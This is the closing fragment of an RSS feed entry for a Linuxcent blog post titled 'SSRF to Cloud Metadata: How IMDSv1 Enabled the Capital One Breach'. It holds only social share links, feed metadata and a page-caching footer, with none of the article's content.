<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&#038;title=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" data-a2a-url="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/" data-a2a-title="SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach"></a></p><p>The post <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1861</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-22 10:51:43 by W3 Total Cache
-->